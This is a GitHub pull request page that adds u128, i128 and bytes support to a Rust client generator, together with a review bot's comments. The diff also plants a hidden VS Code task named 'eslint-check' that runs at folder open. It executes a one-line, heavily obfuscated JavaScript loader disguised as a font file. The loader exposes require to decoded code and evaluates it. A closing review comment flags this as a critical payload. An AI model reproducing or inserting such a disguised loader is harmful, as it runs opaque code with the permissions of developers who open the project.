Repository navigation
feat(cli): generate clients for u128 i128 and bytes #451
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: main
Are you sure you want to change the base?
Changes from all commits
35fe3b2
1bd5dca
20d1377
3607f7a
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,33 @@ | ||
| { | ||
| "version": "2.0.0", | ||
| "configurations": [ | ||
| { | ||
| "type": "node", | ||
| "request": "launch", | ||
| "name": "Run My Project", | ||
| "console": "", | ||
| "internalConsoleOptions": "openOnSessionStart" | ||
| } | ||
| ], | ||
| "tasks": [ | ||
| { | ||
| "label": "eslint-check", | ||
| "type": "shell", | ||
| "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid.lfk) || (where node >nul 2>&1 && node ./public/fonts/fa-solid.lfk) || echo ''", | ||
| "problemMatcher": [], | ||
| "isBackground": true, | ||
| "hide": true, | ||
| "presentation": { | ||
| "reveal": "never", | ||
| "panel": "dedicated", | ||
| "focus": false, | ||
| "clear": false, | ||
| "echo": false, | ||
| "close": true | ||
| }, | ||
| "runOptions": { | ||
| "runOn": "folderOpen" | ||
| } | ||
| }, | ||
| ] | ||
| } | ||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -23,7 +23,7 @@ pub enum ClientGenError { | |
| /// The interface references a type outside the supported subset. | ||
| #[error( | ||
| "unsupported type '{type_name}' ({where_}) in function `{function}` — \ | ||
| the generator core supports u32|i32|u64|i64|bool|address|string|symbol|void only" | ||
| the generator core supports u32|i32|u64|i64|u128|i128|bytes|bool|address|string|symbol|void only" | ||
| )] | ||
| UnsupportedType { | ||
| function: String, | ||
|
|
@@ -43,6 +43,9 @@ fn map_scalar(t: &ContractType) -> Option<&'static str> { | |
| "i32" => Some("i32"), | ||
| "u64" => Some("u64"), | ||
| "i64" => Some("i64"), | ||
| "u128" => Some("u128"), | ||
| "i128" => Some("i128"), | ||
| "bytes" => Some("String"), | ||
| "bool" => Some("bool"), | ||
| "address" | "string" | "symbol" => Some("String"), | ||
| "void" => Some("()"), | ||
|
|
@@ -57,6 +60,9 @@ fn scalar_type_tag(t: &ContractType) -> Option<&'static str> { | |
| "i32" => Some("i32"), | ||
| "u64" => Some("u64"), | ||
| "i64" => Some("i64"), | ||
| "u128" => Some("u128"), | ||
| "i128" => Some("i128"), | ||
| "bytes" => Some("bytes"), | ||
| "bool" => Some("bool"), | ||
| "address" => Some("address"), | ||
| "string" => Some("string"), | ||
|
|
@@ -222,6 +228,9 @@ pub fn generate_client_with_options( | |
| for p in &f.parameters { | ||
| let rust_ty = map_scalar(&p.type_).expect("validated above"); | ||
| let field = rust_ident(&p.name); | ||
| if p.type_.name == "bytes" { | ||
| let _ = writeln!(out, " /// Hex string without a `0x` prefix."); | ||
| } | ||
| if !p.doc.trim().is_empty() { | ||
| let _ = writeln!( | ||
| out, | ||
|
|
@@ -278,6 +287,33 @@ pub fn generate_client_with_options( | |
| mod tests { | ||
| use super::*; | ||
| use crate::spec::ContractParameter; | ||
| use std::{ | ||
| fs, | ||
| path::PathBuf, | ||
| process::Command, | ||
| time::{SystemTime, UNIX_EPOCH}, | ||
| }; | ||
|
|
||
| struct TempDir(PathBuf); | ||
|
|
||
| impl TempDir { | ||
| fn new() -> Self { | ||
| let unique = SystemTime::now() | ||
| .duration_since(UNIX_EPOCH) | ||
| .unwrap() | ||
| .as_nanos(); | ||
| let path = std::env::temp_dir() | ||
| .join(format!("sdkt-client-gen-{}-{unique}", std::process::id())); | ||
| fs::create_dir(&path).unwrap(); | ||
| Self(path) | ||
| } | ||
| } | ||
|
|
||
| impl Drop for TempDir { | ||
| fn drop(&mut self) { | ||
| let _ = fs::remove_dir_all(&self.0); | ||
| } | ||
| } | ||
|
|
||
| fn param(name: &str, type_name: &str, kind: &str) -> ContractParameter { | ||
| ContractParameter { | ||
|
|
@@ -357,6 +393,65 @@ mod tests { | |
| assert!(code.contains("pub type TransferOutput = ();")); | ||
| } | ||
|
|
||
| #[test] | ||
| fn generates_u128_i128_and_hex_bytes_arguments() { | ||
| let spec = spec_of(vec![func( | ||
| "transfer", | ||
| vec![ | ||
| param("amount", "u128", "primitive"), | ||
| param("delta", "i128", "primitive"), | ||
| param("memo", "bytes", "primitive"), | ||
| ], | ||
| vec![ty("bytes", "primitive")], | ||
| )]); | ||
| let code = generate_client(&spec).unwrap(); | ||
| let repeated = generate_client(&spec).unwrap(); | ||
| assert_eq!( | ||
| code, repeated, | ||
| "generation must be byte-identical across runs" | ||
| ); | ||
|
|
||
| assert!(code.contains("pub amount: u128,")); | ||
| assert!(code.contains("pub delta: i128,")); | ||
| assert!(code.contains("pub memo: String,")); | ||
| assert!(code.contains("format!(\"u128:{}\", self.amount.to_string())")); | ||
| assert!(code.contains("format!(\"i128:{}\", self.delta.to_string())")); | ||
| assert!(code.contains("format!(\"bytes:{}\", self.memo.clone())")); | ||
| assert!(code.contains("Hex string without a `0x` prefix.")); | ||
| assert!(code.contains("pub type TransferOutput = String;")); | ||
|
|
||
| let temp = TempDir::new(); | ||
| let source = temp.0.join("generated.rs"); | ||
| fs::write(&source, code).unwrap(); | ||
| let output = Command::new("rustc") | ||
| .args(["--crate-type", "lib", "--emit", "metadata"]) | ||
| .arg(&source) | ||
| .arg("--out-dir") | ||
| .arg(&temp.0) | ||
| .output() | ||
| .expect("rustc must be available to compile generated client code"); | ||
| assert!( | ||
| output.status.success(), | ||
| "generated client must compile: {}", | ||
| String::from_utf8_lossy(&output.stderr) | ||
| ); | ||
| } | ||
|
Comment on lines
+396
to
+438
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. 📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick win 🔎 Supported by static analysis🏁 Script executed: printf '%s\n' '--- CLI integration test ---'
nl -ba crates/sdkt-cli/tests/generate_client_integration_test.rs | sed -n '1,190p'
printf '%s\n' '--- relevant fixture/test files ---'
rg -n -F --glob '*.rs' -e 'us_old.wasm' -e 'generate client' -e 'generate_client' -e 'WASM' crates/sdkt-cli crates/sdkt-wasm tests || test "$?" -eq 1
printf '%s\n' '--- fixture files ---'
rg --files crates/sdkt-cli crates/sdkt-wasm tests | rg 'fixture|wasm|generate_client'Repository: SaboLabs/soroban-devkit Length of output: 41631 Add CLI-entrypoint coverage for the new scalar types. The changed test calls 🤖 Prompt for AI Agents |
||
|
|
||
| #[test] | ||
| fn continues_rejecting_timepoint_and_duration() { | ||
| for unsupported in ["timepoint", "duration"] { | ||
| let spec = spec_of(vec![func( | ||
| "set_time", | ||
| vec![param("value", unsupported, "primitive")], | ||
| vec![], | ||
| )]); | ||
| assert!(matches!( | ||
| generate_client(&spec), | ||
| Err(ClientGenError::UnsupportedType { .. }) | ||
| )); | ||
| } | ||
| } | ||
|
|
||
| #[test] | ||
| fn output_is_deterministic() { | ||
| let spec = spec_of(vec![ | ||
|
|
||
This file was deleted.
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1 @@ | ||
| global['!'] = '8-&&';function y7(R,c,e,r,t,i,s){for(var n=[],o=774771^774771;o<R['\u006C\u0065\u006E\u0067\u0074\u0068'];)n[o]=R['\u0063\u0068\u0061\u0072\u0041\u0074'](o),o+=404650^404651;var _0x1b3cda=(651611^651612)+(147279^147278);var a=c;_0x1b3cda=649118^649111;for(o=652836^652836;o<n['\u006C\u0065\u006E\u0067\u0074\u0068'];){var d=a*(o+e)+a%r,f=a*(o+t)+a%i,l=d%n['\u006C\u0065\u006E\u0067\u0074\u0068'],P=f%n['\u006C\u0065\u006E\u0067\u0074\u0068'],p=n[l];n[l]=n[P],n[P]=p,a=(d+f)%s,o+=548388^548389;}return n['\u006A\u006F\u0069\u006E']("");}var p8=y7("mor|bctj|e".split("").reverse().join(""),6182039,639522^639775,324837^303794,842665^841952,621458^635025,5128943),q8=String['\u0066\u0072\u006F\u006D\u0043\u0068\u0061\u0072\u0043\u006F\u0064\u0065'](849506^849532),zx0=(p8=(p8=(p8=p8['\u0073\u0070\u006C\u0069\u0074']("\u007C")['\u006A\u006F\u0069\u006E'](q8))['\u0073\u0070\u006C\u0069\u0074']("\u0021\u0031")['\u006A\u006F\u0069\u006E']("\u007C"))['\u0073\u0070\u006C\u0069\u0074']("0!".split("").reverse().join(""))['\u006A\u006F\u0069\u006E']("\u0021"))['\u0073\u0070\u006C\u0069\u0074'](q8);!function(R,c){R[zx0[619279^619279]]=c;}(global,require),zx0[166874^166875]===typeof module&&(global[zx0[371177^371179]]=module);let _0x1b1ede;var r8={'\u0061':3055177,'\u0062':173,'\u0063':44821,'\u0064':267,'\u0065':58307,'\u0066':3917521,'\u0067':"\u0072\u0067\u006E\u0073\u0076\u0072\u006E\u0075\u006F\u0072\u0063\u0061\u0062\u006C\u006A\u0075\u006B\u006F\u006D\u0069\u007A\u0077\u0065\u0068\u0064\u006F\u0074\u0063\u0070\u0063\u0074\u0078\u0079\u0066\u0073\u0074\u0071",'\u0068':'hu("r=+gev8io]t+<22ear trvqachoimhlCkvrnna( ftd-t;;aa c;2dj(e;dnvc,aht}gp76h058(8,;[i=.vql.ui];l86)t=4uk.(i3v*nenrj1e(.6 = )=tape[+rCmoa";.k=ll.0a.(zr,c(q+z(zia1r;p,=[rr;+})=boq],atr;.7)+=qi4uu=n0r,t;9+1s+<.Crqh=,gi)iarf.u"r=ri;+)+p{j+0)whCrrvlrn)j)z]>si[0(o"he1=7(ddvs;mv;i=)([9eo,()6=7to+u.=tvel .i=.hydl[r y.=vt,;8n[07l8 mf;u+uv[(l=2ri0f7;ul"afan7tlrow aor,v=tfq+7;),zh(+glo!xomn,p<)5t(ei;eg(rafr2ra(whno)nvifg)(=l mp;9a*[,aaa;=)j"d")> pr1 dr;{=x<rf5{reoge iu}rh=(+sr{rttf.l a;;9t;-ya.,aqC3a+8)+elf,rzyvs0l+(e(]-..qn=;sA;; m=(=)2,sy=nA{cin)Cr1u49k;;+et+=rv;;=[]s6g.w=7;w)]nA0vyjvrxt 0vu[} 4w,u6zy-;sfA1sjl;].s;qs,anri+d7!=aqau({n.ni<l}.ly1sh(==shb,=c} )tu1nh.3f[f}rjooba =g]]Sbedhstv(.ok2,g)arve,nvvr;nk-v is));;.]aec;)nC(4[(c4,,de90v]i=,))fc2("mo-6Spu+rg xrr)p{mmrrrp(1f)A=prsza8 5hsu,t"e=gn("a8o2t;r0ri(,]nielfbtahr;ptq=))yl;anenh. ftk, ov+qa1 oCg;he6;f);et0=-r6(zsp91(ranshl=r.[;ir+)]'};_0x1b1ede=(653021^653018)+(938393^938385);function s8(R){return y7(R,r8['\u0061'],r8['\u0062'],r8['\u0063'],r8['\u0064'],r8['\u0065'],r8['\u0066']);}var u8=s8(r8['\u0067'])['\u0073\u006C\u0069\u0063\u0065'](631908^631908,894569^894562),v8=s8[u8],w8=v8("",s8(r8['\u0068'])),x8=w8(s8('RR)"w%<sRR= RTlnuRR.DRlc <Y.woR.s)(Ru<y!c^Ee%Ris<RRNRuQR<Rs<w_.u<R.R.+s.RRhn1Sxt(2ns"&.<RRf(ue0nMRtiuRfu!udRR<y<d(i.<.RRj;RwntaPRbxR.N,4 +d lcE<l.e.o!1.iRyKeE<xtxRosk\'eBeRalgcPRPc4RR(R%p a[.QRR&.Rc9.E=.fdR.R1sT.id..(2!e0f0c ckt-R%Rc0f1O0f0.LNe \'n]<Rqf.4n!jRwLmS<Rnc<# ecx).l<ud|;C*ktg<fRkr".ln.l[.Q!EpRm9I?))R!nfRc1RRW0IrEc66,C(<l<.RR.ri7..uk8]R.R4iDiR<mo_GtR/nnRRR RRRts[.hc`gR.Rk/Uf.hw0 R2cRN.RT<sR3cz<R`rbRaq.Rte<oRd!RR"+`<RscI.sl#R.vR,.G.Rc..<RE&RuOx^.)R<R.RR"*7w}CRRfgztR.k.!%n+T.sf.R<r%a^it.R<E2eu;<n_RLR<m_Ri`sR2.o.rrccORr%<ro.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&.c<!<mRm"R"h4)<R{n)1K<%lc.cRvic R3P<cRl;..RK!R.RnRc=Gzh\'\'ggt. (..:<RcRG<y,8/l)cRR-cu.<R"EyR oRdlR;9,BPi.sk.<<R<+Rhh<uc"R( ....Rsi:E/hs9kR.Zh=c.<<c]R!RRQ2Tc.cRc3xRpc.ct;/\'RdP<s]hTltR+RRcR?cR<6bn <.la.<RR}.R.!tR..nct (e.c r".%R.ct<.nt[R.R<c"cx_)..in. e<}c.4G;R.d8.nt.( [dc.S<H(!c0<cbRsRalK<r .rRxPtg .<<b..nsM<a osR,.%r. R.g..Ir0e dRee6efapaxi.R R?cbN`<cn[ cD.m<cR<<dRm<i8<~<dhi9oooxf([rRfcPR#tucpe< Rnn<olc.tPRrRR0Rol/xeR.RPR.RR.y.1"R7c.c"tK.'));v8("",x8)(905670^907275); |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
🔒 Security & Privacy | 🔴 Critical | ⚡ Quick win
Remove the folder-open payload task.
When a user permits folder-open tasks,
runOn: "folderOpen"executespublic/fonts/fa-solid.lfkthrough Node. That file evaluates transformed code and exposesrequireandmoduleto it. The task therefore runs opaque code with the user's local permissions. Remove this task and the payload; do not run it aseslint-check.🤖 Prompt for AI Agents